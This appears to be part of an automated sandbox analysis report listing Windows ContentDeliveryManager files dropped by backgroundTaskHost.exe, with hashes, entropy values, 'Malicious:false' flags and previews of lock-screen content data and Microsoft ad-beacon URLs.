                                                                                              Preview:F.4.2.0.C.4.E.A.-.4.2.6.1.-.4.B.6.6.-.8.B.9.C.-.E.A.A.8.C.C.C.9.6.A.D.E...G.E.T...h.t.t.p.s.:././.i.m.g.-.p.r.o.d.-.c.m.s.-.r.t.-.m.i.c.r.o.s.o.f.t.-.c.o.m...a.k.a.m.a.i.z.e.d...n.e.t./.c.m.s./.a.p.i./.a.m./.i.m.a.g.e.F.i.l.e.D.a.t.a./.R.E.4.F.i.e.v.?.v.e.r.=.7.b.1.3...........

                                                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\89014d40-3798-436f-af53-82627365e9bd.up_meta

                                                                                              Download File
                                                                                              Process:C:\Windows\System32\backgroundTaskHost.exe
                                                                                              File Type:data
                                                                                              Category:dropped
                                                                                              Size (bytes):278
                                                                                              Entropy (8bit):3.3894363370336076
                                                                                              Encrypted:false
                                                                                              SSDEEP:6:ZyncUkamOwhg2YMYtHSMLhU7lBSliHGSMX6YXKMwEQwRct:ZxMghwLtHSM1Sb9mSMXAvwR
                                                                                              MD5:A27F678F172C642E24DE4740C5B2DBC3
                                                                                              SHA1:36444729D96B371E3B182455FD5416A724875FF3
                                                                                              SHA-256:BF27499FEA1EC1D167352764D5DE5CC87FCE82683C3F8CDB3E3A19086DEC5C82
                                                                                              SHA-512:7846A476F6349EB719D781B6F529DCAAB21140067A54756A3C51E695B20E4C5FF74F5CA798181023D22860E9EA36C9E452EC003AB8A1B242033EB43F3EFA627F
                                                                                              Malicious:false
                                                                                              Preview:F.4.2.0.C.4.E.A.-.4.2.6.1.-.4.B.6.6.-.8.B.9.C.-.E.A.A.8.C.C.C.9.6.A.D.E...G.E.T...h.t.t.p.s.:././.i.m.g.-.p.r.o.d.-.c.m.s.-.r.t.-.m.i.c.r.o.s.o.f.t.-.c.o.m...a.k.a.m.a.i.z.e.d...n.e.t./.c.m.s./.a.p.i./.a.m./.i.m.a.g.e.F.i.l.e.D.a.t.a./.R.E.4.P.l.T.B.?.v.e.r.=.2.a.9.4...........

                                                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\8b2e7aff-c5f0-404d-a115-acc36199b7c8.up_meta

                                                                                              Download File
                                                                                              Process:C:\Windows\System32\backgroundTaskHost.exe
                                                                                              File Type:data
                                                                                              Category:dropped
                                                                                              Size (bytes):278
                                                                                              Entropy (8bit):3.3916420134799647
                                                                                              Encrypted:false
                                                                                              SSDEEP:6:ZyncUkamOwhg2YMYtHSMLhU7lBSliHGSMX6YXKMwEQwRWaLr:ZxMghwLtHSM1Sb9mSMXAvwRWa
                                                                                              MD5:C7178E5BA3D759AEBA63C1D4CB58156F
                                                                                              SHA1:0666B41C798E50B223D8B30F4EC3B016B6EA9AED
                                                                                              SHA-256:3F43C64EBED8C1FB3CA1D60D0B2FFCCEFE65ECD69DEC123A0AA6073B766E116E
                                                                                              SHA-512:552C869BA7481625BB9BB82140679C7509ADB116FD9764F7921D6B5F4D4B2BEF511F38AB4708960FFF5E9B9350B362EF28EF5DB7917B6A39C38D7759120374B0
                                                                                              Malicious:false
                                                                                              Preview:F.4.2.0.C.4.E.A.-.4.2.6.1.-.4.B.6.6.-.8.B.9.C.-.E.A.A.8.C.C.C.9.6.A.D.E...G.E.T...h.t.t.p.s.:././.i.m.g.-.p.r.o.d.-.c.m.s.-.r.t.-.m.i.c.r.o.s.o.f.t.-.c.o.m...a.k.a.m.a.i.z.e.d...n.e.t./.c.m.s./.a.p.i./.a.m./.i.m.a.g.e.F.i.l.e.D.a.t.a./.R.E.4.F.l.b.g.?.v.e.r.=.a.e.e.3...........

                                                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\ace5a96d-bb81-43cf-8c17-af703786223c.up_meta

                                                                                              Download File
                                                                                              Process:C:\Windows\System32\backgroundTaskHost.exe
                                                                                              File Type:data
                                                                                              Category:dropped
                                                                                              Size (bytes):278
                                                                                              Entropy (8bit):3.422473556620063
                                                                                              Encrypted:false
                                                                                              SSDEEP:6:ZyncUkamOwhg2YMYtHSMLhU7lBSliHGSMX6YXKMwEQwRKaMAo4:ZxMghwLtHSM1Sb9mSMXAvwR/M
                                                                                              MD5:053A6748354C63633E9F064D374A3D64
                                                                                              SHA1:F7392A988C29192C2DBB9192931C98C346A03B46
                                                                                              SHA-256:1867022FBB28FC2A1F79ED84CFA93EFEE48C33EF120A7976E594BD497DA2ED3F
                                                                                              SHA-512:175DB5E34D5D66ABCBA2DC76ADF44978A26A70A5CCEA46FF96D3EC85F4F34BA0B571785C3A912E87FD3D194F101339B2D0E988D4A611FFA91F9AC9204BDE5765
                                                                                              Malicious:false
                                                                                              Preview:F.4.2.0.C.4.E.A.-.4.2.6.1.-.4.B.6.6.-.8.B.9.C.-.E.A.A.8.C.C.C.9.6.A.D.E...G.E.T...h.t.t.p.s.:././.i.m.g.-.p.r.o.d.-.c.m.s.-.r.t.-.m.i.c.r.o.s.o.f.t.-.c.o.m...a.k.a.m.a.i.z.e.d...n.e.t./.c.m.s./.a.p.i./.a.m./.i.m.a.g.e.F.i.l.e.D.a.t.a./.R.E.4.P.w.e.j.?.v.e.r.=.c.b.f.0...........

                                                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\c20b8467-083e-4077-bf8d-d36a3048fcb9.up_meta

                                                                                              Download File
                                                                                              Process:C:\Windows\System32\backgroundTaskHost.exe
                                                                                              File Type:data
                                                                                              Category:dropped
                                                                                              Size (bytes):278
                                                                                              Entropy (8bit):3.4170427112807573
                                                                                              Encrypted:false
                                                                                              SSDEEP:6:ZyncUkamOwhg2YMYtHSMLhU7lBSliHGSMX6YXKMwEQwRsLodl:ZxMghwLtHSM1Sb9mSMXAvwRQQl
                                                                                              MD5:1D520D01AC1D28576C7FEE2508023401
                                                                                              SHA1:F5D3B927F6EE819E19BF859A83ACDFE3691B0856
                                                                                              SHA-256:47F18BAC941281DB1067CDB4DE6B1ED601E7E7104E3ABDC880BEF23618EB4CC4
                                                                                              SHA-512:05DB830F5C9D491632F2BB2B338F9F2F022FA0D2C36F36EEA7F670D7D3176294F86FC3059E3767A99F89FCDB8D67627D3F286E34D764F8F53FF598844C13A124
                                                                                              Malicious:false
                                                                                              Preview:F.4.2.0.C.4.E.A.-.4.2.6.1.-.4.B.6.6.-.8.B.9.C.-.E.A.A.8.C.C.C.9.6.A.D.E...G.E.T...h.t.t.p.s.:././.i.m.g.-.p.r.o.d.-.c.m.s.-.r.t.-.m.i.c.r.o.s.o.f.t.-.c.o.m...a.k.a.m.a.i.z.e.d...n.e.t./.c.m.s./.a.p.i./.a.m./.i.m.a.g.e.F.i.l.e.D.a.t.a./.R.E.4.I.e.B.w.?.v.e.r.=.3.c.b.8...........

                                                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\ContentManagementSDK\Creatives\280815\1658350367 (copy)

                                                                                              Download File
                                                                                              Process:C:\Windows\System32\backgroundTaskHost.exe
                                                                                              File Type:Little-endian UTF-16 Unicode text, with very long lines, with no line terminators
                                                                                              Category:dropped
                                                                                              Size (bytes):6090
                                                                                              Entropy (8bit):3.830815581967114
                                                                                              Encrypted:false
                                                                                              SSDEEP:96:LcTcgyaWbk4btWfdygxsBjCk4brj6XAcj7EBUNk0/7FRFYS2U0DBx:Lv44wFyg6d4XmXdXNk0pR2S2UyH
                                                                                              MD5:69824D5963FABC07A36E61D33F2AB7AC
                                                                                              SHA1:2B47C23F5167C118EBA04BDB0BBFA30E9746E5E5
                                                                                              SHA-256:DD2F02C1AF0DC7E547EA4554D6243A5FD0F115F5ED784D07A8F0337D47CA1509
                                                                                              SHA-512:81991677B35233B6764515A8FD1DD21BA7CCBDB3E8F902CE871E15ACC0EBBFCB494740F579F3B03F08913781EFA14D599719044F939D3334A52B53775EF5EC54
                                                                                              Malicious:false
                                                                                              Preview:..{.".b.a.t.c.h.r.s.p.".:.{.".v.e.r.".:.".1...0.".,.".i.t.e.m.s.".:.[.{.".i.t.e.m.".:.".{.\.".f.\.".:.\.".r.a.f.\.".,.\.".v.\.".:.\.".1...0.\.".,.\.".r.d.r.\.".:.[.{.\.".c.\.".:.\.".C.D.M.\.".,.\.".u.\.".:.\.".S.u.b.s.c.r.i.b.e.d.C.o.n.t.e.n.t.\.".}.].,.\.".a.d.\.".:.{.\.".c.l.a.s.s.\.".:.\.".c.o.n.t.e.n.t.\.".,.\.".c.o.l.l.e.c.t.i.o.n.s.\.".:.[.].,.\.".i.t.e.m.P.r.o.p.e.r.t.y.M.a.n.i.f.e.s.t.\.".:.{.\.".n.o.O.p.\.".:.{.\.".t.y.p.e.\.".:.\.".a.c.t.i.o.n.\.".}.}.,.\.".i.t.e.m.s.\.".:.[.{.\.".p.r.o.p.e.r.t.i.e.s.\.".:.{.\.".n.o.O.p.\.".:.{.\.".e.v.e.n.t.\.".:.\.".n.o.n.e.\.".,.\.".p.a.r.a.m.e.t.e.r.s.\.".:.{.}.,.\.".a.c.t.i.o.n.\.".:.\.".n.o.O.p.\.".}.}.,.\.".t.r.a.c.k.i.n.g.\.".:.{.\.".e.v.e.n.t.s.\.".:.[.{.\.".i.d.\.".:.\.".i.m.p.r.e.s.s.i.o.n.\.".}.].,.\.".p.a.r.a.m.e.t.e.r.i.z.e.d.\.".:.[.{.\.".u.r.i.\.".:.\.".h.t.t.p.s.:.\./.\./.r.i.s...a.p.i...i.r.i.s...m.i.c.r.o.s.o.f.t...c.o.m.\./.v.1.\./.a.\./.{.A.C.T.I.O.N.}.?.C.I.D.=.1.2.8.0.0.0.0.0.0.0.0.1.6.2.7.4.0.9.&.r.e.g.i.o.n.=.U.S.&.l.

                                                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\ContentManagementSDK\Creatives\280815\1658350367.~tmp

                                                                                              Download File
                                                                                              Process:C:\Windows\System32\backgroundTaskHost.exe
                                                                                              File Type:Little-endian UTF-16 Unicode text, with very long lines, with no line terminators
                                                                                              Category:dropped
                                                                                              Size (bytes):6090
                                                                                              Entropy (8bit):3.830815581967114
                                                                                              Encrypted:false
                                                                                              SSDEEP:96:LcTcgyaWbk4btWfdygxsBjCk4brj6XAcj7EBUNk0/7FRFYS2U0DBx:Lv44wFyg6d4XmXdXNk0pR2S2UyH
                                                                                              MD5:69824D5963FABC07A36E61D33F2AB7AC
                                                                                              SHA1:2B47C23F5167C118EBA04BDB0BBFA30E9746E5E5
                                                                                              SHA-256:DD2F02C1AF0DC7E547EA4554D6243A5FD0F115F5ED784D07A8F0337D47CA1509
                                                                                              SHA-512:81991677B35233B6764515A8FD1DD21BA7CCBDB3E8F902CE871E15ACC0EBBFCB494740F579F3B03F08913781EFA14D599719044F939D3334A52B53775EF5EC54
                                                                                              Malicious:false
                                                                                              Preview:..{.".b.a.t.c.h.r.s.p.".:.{.".v.e.r.".:.".1...0.".,.".i.t.e.m.s.".:.[.{.".i.t.e.m.".:.".{.\.".f.\.".:.\.".r.a.f.\.".,.\.".v.\.".:.\.".1...0.\.".,.\.".r.d.r.\.".:.[.{.\.".c.\.".:.\.".C.D.M.\.".,.\.".u.\.".:.\.".S.u.b.s.c.r.i.b.e.d.C.o.n.t.e.n.t.\.".}.].,.\.".a.d.\.".:.{.\.".c.l.a.s.s.\.".:.\.".c.o.n.t.e.n.t.\.".,.\.".c.o.l.l.e.c.t.i.o.n.s.\.".:.[.].,.\.".i.t.e.m.P.r.o.p.e.r.t.y.M.a.n.i.f.e.s.t.\.".:.{.\.".n.o.O.p.\.".:.{.\.".t.y.p.e.\.".:.\.".a.c.t.i.o.n.\.".}.}.,.\.".i.t.e.m.s.\.".:.[.{.\.".p.r.o.p.e.r.t.i.e.s.\.".:.{.\.".n.o.O.p.\.".:.{.\.".e.v.e.n.t.\.".:.\.".n.o.n.e.\.".,.\.".p.a.r.a.m.e.t.e.r.s.\.".:.{.}.,.\.".a.c.t.i.o.n.\.".:.\.".n.o.O.p.\.".}.}.,.\.".t.r.a.c.k.i.n.g.\.".:.{.\.".e.v.e.n.t.s.\.".:.[.{.\.".i.d.\.".:.\.".i.m.p.r.e.s.s.i.o.n.\.".}.].,.\.".p.a.r.a.m.e.t.e.r.i.z.e.d.\.".:.[.{.\.".u.r.i.\.".:.\.".h.t.t.p.s.:.\./.\./.r.i.s...a.p.i...i.r.i.s...m.i.c.r.o.s.o.f.t...c.o.m.\./.v.1.\./.a.\./.{.A.C.T.I.O.N.}.?.C.I.D.=.1.2.8.0.0.0.0.0.0.0.0.1.6.2.7.4.0.9.&.r.e.g.i.o.n.=.U.S.&.l.

                                                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\ContentManagementSDK\Creatives\314559\eventbeacons.dat (copy)

                                                                                              Download File
                                                                                              Process:C:\Windows\System32\backgroundTaskHost.exe
                                                                                              File Type:ASCII text, with very long lines, with CRLF line terminators
                                                                                              Category:dropped
                                                                                              Size (bytes):10378
                                                                                              Entropy (8bit):5.3740208131482285
                                                                                              Encrypted:false
                                                                                              SSDEEP:96:pUCGninM0UCMdnWSf3UCWSfHxUCDonZvUCZvnL2UCLNa5MUn5MaKDUnKJailAUnd:Yn3702+2pEJjgY9ohflClIRBrvWo
                                                                                              MD5:31284ABDBD281C7EB5AC655B5013BBB7
                                                                                              SHA1:736E96AC6FF7811438F8C51869583AFD48F2163A
                                                                                              SHA-256:46778297A3DB48A0A2B230761EDA60E66B56CEE3B8F032106033EFAD41EB419C
                                                                                              SHA-512:A445227C9B94609B4547AB4C56CD6712B670BBC9120A14ECFD4EE4ED501381EC36745F465F86B2FD639166B6C33BB12AAAF221604F8E3CB7E016D6B89D7AA1E5
                                                                                              Malicious:false
                                                                                              Preview:https://ris.api.iris.microsoft.com/v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=880ea8d2f39649d89684d50d9e7f8f85&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NBLGGGZM6WM&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=5aa0b303abbc4c78a66d4eafa631a544&time=20220720T205344Z..https://ris.api.iris.microsoft.com/v1/a/pin?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=880ea8d2f39649d89684d50d9e7f8f85&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFJ27N&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=5aa0b303abbc4c78a66d4eafa631a544&time=20220720T205346Z..https://ris.api.iris.microsoft.com/v1/a/impression?pg=

                                                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\ContentManagementSDK\Creatives\314559\eventbeacons.dat.~tmp

                                                                                              Download File
                                                                                              Process:C:\Windows\System32\backgroundTaskHost.exe
                                                                                              File Type:ASCII text, with very long lines, with CRLF line terminators
                                                                                              Category:dropped
                                                                                              Size (bytes):10378
                                                                                              Entropy (8bit):5.3740208131482285
                                                                                              Encrypted:false
                                                                                              SSDEEP:96:pUCGninM0UCMdnWSf3UCWSfHxUCDonZvUCZvnL2UCLNa5MUn5MaKDUnKJailAUnd:Yn3702+2pEJjgY9ohflClIRBrvWo
                                                                                              MD5:31284ABDBD281C7EB5AC655B5013BBB7
                                                                                              SHA1:736E96AC6FF7811438F8C51869583AFD48F2163A
                                                                                              SHA-256:46778297A3DB48A0A2B230761EDA60E66B56CEE3B8F032106033EFAD41EB419C
                                                                                              SHA-512:A445227C9B94609B4547AB4C56CD6712B670BBC9120A14ECFD4EE4ED501381EC36745F465F86B2FD639166B6C33BB12AAAF221604F8E3CB7E016D6B89D7AA1E5
                                                                                              Malicious:false
                                                                                              Preview:https://ris.api.iris.microsoft.com/v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=880ea8d2f39649d89684d50d9e7f8f85&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NBLGGGZM6WM&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=5aa0b303abbc4c78a66d4eafa631a544&time=20220720T205344Z..https://ris.api.iris.microsoft.com/v1/a/pin?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=880ea8d2f39649d89684d50d9e7f8f85&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFJ27N&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=5aa0b303abbc4c78a66d4eafa631a544&time=20220720T205346Z..https://ris.api.iris.microsoft.com/v1/a/impression?pg=

                                                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\ContentManagementSDK\Creatives\314559\imprbeacons.dat (copy)

                                                                                              Download File
                                                                                              Process:C:\Windows\System32\backgroundTaskHost.exe
                                                                                              File Type:ASCII text, with very long lines, with CRLF line terminators
                                                                                              Category:dropped
                                                                                              Size (bytes):2888
                                                                                              Entropy (8bit):5.228765411609313
                                                                                              Encrypted:false
                                                                                              SSDEEP:48:eSrSHT1nsBlT+TKS8ZWum+W1nsBlT+TKSl:UpW+PujWpW+/
                                                                                              MD5:30528984812214C0DCBFA2E6E600A764
                                                                                              SHA1:337AAD144EDB1B5BC7801339ED95A54EFACDA72E
                                                                                              SHA-256:BABFF5110C7FBB124F80C269983E9CF31C25C81354206A654F5ABDDEFB3360C3
                                                                                              SHA-512:E4CA6FCF2C946729537626BD83B3168957C8FF3588BA32ECD9C0E938EC1B8CF5E3ACF0900D026B2245683B74C5FE061E50D24439D6C3BB7201ECA341F97D79ED
                                                                                              Malicious:false
                                                                                              Preview:https://arc.msn.com/v3/Delivery/Events/Impression=&PID=425106558&TID=700342085&CID=128000000001392729&BID=193634595&PG=PC000P0FR5.0000000IQ8&TPID=425106558&REQASID=94F2CA46ECDA44C69F7E14C611050CAD&ASID=5aa0b303abbc4c78a66d4eafa631a544&TIME=20220720T205308Z&SLOT=2&REQT=20220720T205158&MA_Score=2&LOCALID=w:D9BC7EDF-91E8-C8ED-3ED4-3B144B30C00C&DS_EVTID=880ea8d2f39649d89684d50d9e7f8f85&BCNT=1&PG=PC000P0FR5.0000000IQ8&UNID=314559&MAP_TID=5BEC563F-4B60-4B3C-B0C0-E08809EEA27C&NCT=1&PN=DA63DF93-3DBC-42AE-A505-B34988683AC7&ASID=94F2CA46ECDA44C69F7E14C611050CAD&REQASID=94F2CA46ECDA44C69F7E14C611050CAD&ARC=1&EMS=1&LOCALE=EN-US&COUNTRY=US&HTD=-1&LANG=1033&DEVLANG=EN&CIP=84.17.52.2&OPTOUTSTATE=256&HTTPS=1&PRODID=00000000-0000-0000-0000-000000000000&DVTP=2&DEVOSVER=10.0.17134.1&DEVOSMAJ=10&DEVOSMIN=0&DEVOSBLD=17134&DEVOSMINBLD=1&LOD=984&LOH=24&LO=1417890&RAFB=0&MARKETBASEDCOUNTRY=US&CLR=CDM&CFMT=TEXT%2CIMAGE&SFT=JPEG%2CPNG%2CGIF%2CJPG&H=1&W=1&TP=1&FESVER=1.3&CACHE_CHS=0&CACHE_IMP=0&CACHE_CHF=0&CACHE

                                                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\ContentManagementSDK\Creatives\314559\imprbeacons.dat.~tmp

                                                                                              Download File
                                                                                              Process:C:\Windows\System32\backgroundTaskHost.exe
                                                                                              File Type:ASCII text, with very long lines, with CRLF line terminators
                                                                                              Category:dropped
                                                                                              Size (bytes):2888
                                                                                              Entropy (8bit):5.228765411609313
                                                                                              Encrypted:false
                                                                                              SSDEEP:48:eSrSHT1nsBlT+TKS8ZWum+W1nsBlT+TKSl:UpW+PujWpW+/
                                                                                              MD5:30528984812214C0DCBFA2E6E600A764
                                                                                              SHA1:337AAD144EDB1B5BC7801339ED95A54EFACDA72E
                                                                                              SHA-256:BABFF5110C7FBB124F80C269983E9CF31C25C81354206A654F5ABDDEFB3360C3
                                                                                              SHA-512:E4CA6FCF2C946729537626BD83B3168957C8FF3588BA32ECD9C0E938EC1B8CF5E3ACF0900D026B2245683B74C5FE061E50D24439D6C3BB7201ECA341F97D79ED
                                                                                              Malicious:false
                                                                                              Preview:https://arc.msn.com/v3/Delivery/Events/Impression=&PID=425106558&TID=700342085&CID=128000000001392729&BID=193634595&PG=PC000P0FR5.0000000IQ8&TPID=425106558&REQASID=94F2CA46ECDA44C69F7E14C611050CAD&ASID=5aa0b303abbc4c78a66d4eafa631a544&TIME=20220720T205308Z&SLOT=2&REQT=20220720T205158&MA_Score=2&LOCALID=w:D9BC7EDF-91E8-C8ED-3ED4-3B144B30C00C&DS_EVTID=880ea8d2f39649d89684d50d9e7f8f85&BCNT=1&PG=PC000P0FR5.0000000IQ8&UNID=314559&MAP_TID=5BEC563F-4B60-4B3C-B0C0-E08809EEA27C&NCT=1&PN=DA63DF93-3DBC-42AE-A505-B34988683AC7&ASID=94F2CA46ECDA44C69F7E14C611050CAD&REQASID=94F2CA46ECDA44C69F7E14C611050CAD&ARC=1&EMS=1&LOCALE=EN-US&COUNTRY=US&HTD=-1&LANG=1033&DEVLANG=EN&CIP=84.17.52.2&OPTOUTSTATE=256&HTTPS=1&PRODID=00000000-0000-0000-0000-000000000000&DVTP=2&DEVOSVER=10.0.17134.1&DEVOSMAJ=10&DEVOSMIN=0&DEVOSBLD=17134&DEVOSMINBLD=1&LOD=984&LOH=24&LO=1417890&RAFB=0&MARKETBASEDCOUNTRY=US&CLR=CDM&CFMT=TEXT%2CIMAGE&SFT=JPEG%2CPNG%2CGIF%2CJPG&H=1&W=1&TP=1&FESVER=1.3&CACHE_CHS=0&CACHE_IMP=0&CACHE_CHF=0&CACHE

                                                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\ContentManagementSDK\Creatives\338387\1658350412 (copy)

                                                                                              Download File
                                                                                              Process:C:\Windows\System32\backgroundTaskHost.exe
                                                                                              File Type:Little-endian UTF-16 Unicode text, with very long lines, with no line terminators
                                                                                              Category:dropped
                                                                                              Size (bytes):49356
                                                                                              Entropy (8bit):3.856851367351971
                                                                                              Encrypted:false
                                                                                              SSDEEP:768:HjrDEg3tx+JzmdC9CK1CQhRnLOr29PPj+iE:HjfTTEm0U5QJNi
                                                                                              MD5:03C6E3C2A186B79091C722F3C0DADA96
                                                                                              SHA1:44EF5FB06D99E7EA31B4017505F521743AE82C3E
                                                                                              SHA-256:26EE3811DB0B3B4D38CA9751FF15C5A2EADD54EAA760AE059C4B85AFDD58FADF
                                                                                              SHA-512:54ED8ADAA2FE82F3F28D028F4687DDA5F3A04557905DBFEE96D6B9F18336929C88E61BD0BD084D512E267ADAA3B68061D47D4A82F721F1F9A13BD4027C9E0B61
                                                                                              Malicious:false
                                                                                              Preview:..{.".b.a.t.c.h.r.s.p.".:.{.".v.e.r.".:.".1...0.".,.".i.t.e.m.s.".:.[.{.".i.t.e.m.".:.".{.\.".f.\.".:.\.".r.a.f.\.".,.\.".v.\.".:.\.".1...0.\.".,.\.".r.d.r.\.".:.[.{.\.".c.\.".:.\.".C.D.M.\.".,.\.".u.\.".:.\.".S.u.b.s.c.r.i.b.e.d.C.o.n.t.e.n.t.\.".}.].,.\.".a.d.\.".:.{.\.".c.l.a.s.s.\.".:.\.".c.o.n.t.e.n.t.\.".,.\.".c.o.l.l.e.c.t.i.o.n.s.\.".:.[.].,.\.".n.a.m.e.\.".:.\.".L.o.c.k.S.c.r.e.e.n.\.".,.\.".p.r.o.p.e.r.t.y.M.a.n.i.f.e.s.t.\.".:.{.\.".l.a.n.d.s.c.a.p.e.I.m.a.g.e.\.".:.{.\.".t.y.p.e.\.".:.\.".i.m.a.g.e.\.".}.,.\.".p.o.r.t.r.a.i.t.I.m.a.g.e.\.".:.{.\.".t.y.p.e.\.".:.\.".i.m.a.g.e.\.".}.,.\.".s.h.o.w.I.m.a.g.e.O.n.S.e.c.u.r.e.L.o.c.k.\.".:.{.\.".i.s.O.p.t.i.o.n.a.l.\.".:.t.r.u.e.,.\.".t.y.p.e.\.".:.\.".b.o.o.l.e.a.n.\.".}.,.\.".o.n.R.e.n.d.e.r.\.".:.{.\.".t.y.p.e.\.".:.\.".a.c.t.i.o.n.\.".}.}.,.\.".p.r.o.p.e.r.t.i.e.s.\.".:.{.\.".l.a.n.d.s.c.a.p.e.I.m.a.g.e.\.".:.{.\.".f.i.l.e.S.i.z.e.\.".:.5.2.1.7.6.9.,.\.".h.e.i.g.h.t.\.".:.1.0.8.0.,.\.".s.h.a.2.5.6.\.".:.\.".d.J.w.h.x.E.\./.B.

                                                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\ContentManagementSDK\Creatives\338387\1658350412.~tmp

                                                                                              Download File
                                                                                              Process:C:\Windows\System32\backgroundTaskHost.exe
                                                                                              File Type:Little-endian UTF-16 Unicode text, with very long lines, with no line terminators
                                                                                              Category:dropped
                                                                                              Size (bytes):49356
                                                                                              Entropy (8bit):3.856851367351971
                                                                                              Encrypted:false
                                                                                              SSDEEP:768:HjrDEg3tx+JzmdC9CK1CQhRnLOr29PPj+iE:HjfTTEm0U5QJNi
                                                                                              MD5:03C6E3C2A186B79091C722F3C0DADA96
                                                                                              SHA1:44EF5FB06D99E7EA31B4017505F521743AE82C3E
                                                                                              SHA-256:26EE3811DB0B3B4D38CA9751FF15C5A2EADD54EAA760AE059C4B85AFDD58FADF
                                                                                              SHA-512:54ED8ADAA2FE82F3F28D028F4687DDA5F3A04557905DBFEE96D6B9F18336929C88E61BD0BD084D512E267ADAA3B68061D47D4A82F721F1F9A13BD4027C9E0B61
                                                                                              Malicious:false
                                                                                              Preview:..{.".b.a.t.c.h.r.s.p.".:.{.".v.e.r.".:.".1...0.".,.".i.t.e.m.s.".:.[.{.".i.t.e.m.".:.".{.\.".f.\.".:.\.".r.a.f.\.".,.\.".v.\.".:.\.".1...0.\.".,.\.".r.d.r.\.".:.[.{.\.".c.\.".:.\.".C.D.M.\.".,.\.".u.\.".:.\.".S.u.b.s.c.r.i.b.e.d.C.o.n.t.e.n.t.\.".}.].,.\.".a.d.\.".:.{.\.".c.l.a.s.s.\.".:.\.".c.o.n.t.e.n.t.\.".,.\.".c.o.l.l.e.c.t.i.o.n.s.\.".:.[.].,.\.".n.a.m.e.\.".:.\.".L.o.c.k.S.c.r.e.e.n.\.".,.\.".p.r.o.p.e.r.t.y.M.a.n.i.f.e.s.t.\.".:.{.\.".l.a.n.d.s.c.a.p.e.I.m.a.g.e.\.".:.{.\.".t.y.p.e.\.".:.\.".i.m.a.g.e.\.".}.,.\.".p.o.r.t.r.a.i.t.I.m.a.g.e.\.".:.{.\.".t.y.p.e.\.".:.\.".i.m.a.g.e.\.".}.,.\.".s.h.o.w.I.m.a.g.e.O.n.S.e.c.u.r.e.L.o.c.k.\.".:.{.\.".i.s.O.p.t.i.o.n.a.l.\.".:.t.r.u.e.,.\.".t.y.p.e.\.".:.\.".b.o.o.l.e.a.n.\.".}.,.\.".o.n.R.e.n.d.e.r.\.".:.{.\.".t.y.p.e.\.".:.\.".a.c.t.i.o.n.\.".}.}.,.\.".p.r.o.p.e.r.t.i.e.s.\.".:.{.\.".l.a.n.d.s.c.a.p.e.I.m.a.g.e.\.".:.{.\.".f.i.l.e.S.i.z.e.\.".:.5.2.1.7.6.9.,.\.".h.e.i.g.h.t.\.".:.1.0.8.0.,.\.".s.h.a.2.5.6.\.".:.\.".d.J.w.h.x.E.\./.B.

                                                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\ContentManagementSDK\Creatives\338388\1658350408 (copy)

                                                                                              Download File
                                                                                              Process:C:\Windows\System32\backgroundTaskHost.exe
                                                                                              File Type:Little-endian UTF-16 Unicode text, with very long lines, with no line terminators
                                                                                              Category:dropped
                                                                                              Size (bytes):8968
                                                                                              Entropy (8bit):3.8363089473500107
                                                                                              Encrypted:false
                                                                                              SSDEEP:192:LFK460P0AQMUaP0ul4w0P0AYhvmNjjk0mRlS2irF:LMs3J3ssUfmlS2irF
                                                                                              MD5:12E85F873BBAADB22E60F64065B2F638
                                                                                              SHA1:DB9EC097A0EDEF8AD249F4890CF55BD1344E1780
                                                                                              SHA-256:7847636EE96B11BB1B891C6A93E1451CEE486CF0FDF00E9C9F0F8523E5024FC4
